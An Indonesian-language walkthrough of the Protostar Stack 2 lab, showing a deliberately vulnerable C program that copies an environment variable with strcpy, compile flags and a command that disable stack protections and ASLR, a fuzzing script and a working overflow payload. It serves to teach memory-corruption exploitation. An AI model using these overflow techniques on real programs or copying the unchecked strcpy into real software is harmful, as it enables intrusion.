Protostar Stack 2

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

$ ./vuln 
vuln: please set the GREENIE environment variable

Program menerima input dari Env kemudian diproses melalui fungsi strcpy yang vulnerable. Tujuan akhirnya adalah menimpa variabel modified dengan jumlah buffer tertentu agar nilainya menjadi 0x0d0a0d0a, misal dengan script dibawah ini.

fse.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    export GREENIE=$buffer
    ./$1
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Eksploitasi

$ ./fse.sh vuln
...
64
Try again, you got 0x00000000
65
Try again, you got 0x00000041
66
Try again, you got 0x00004141
67
Try again, you got 0x00414141
68
Try again, you got 0x41414141
...

Dengan jumlah buffer sebesar 68 byte variabel modified berhasil ditimpa dengan nilai 0x41414141. Agar nilai sama dengan 0x0d0a0d0a maka payload menjadi seperti ini.

$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"') && ./vuln 
you have correctly modified the variable

Referensi

results matching ""

    No results matching ""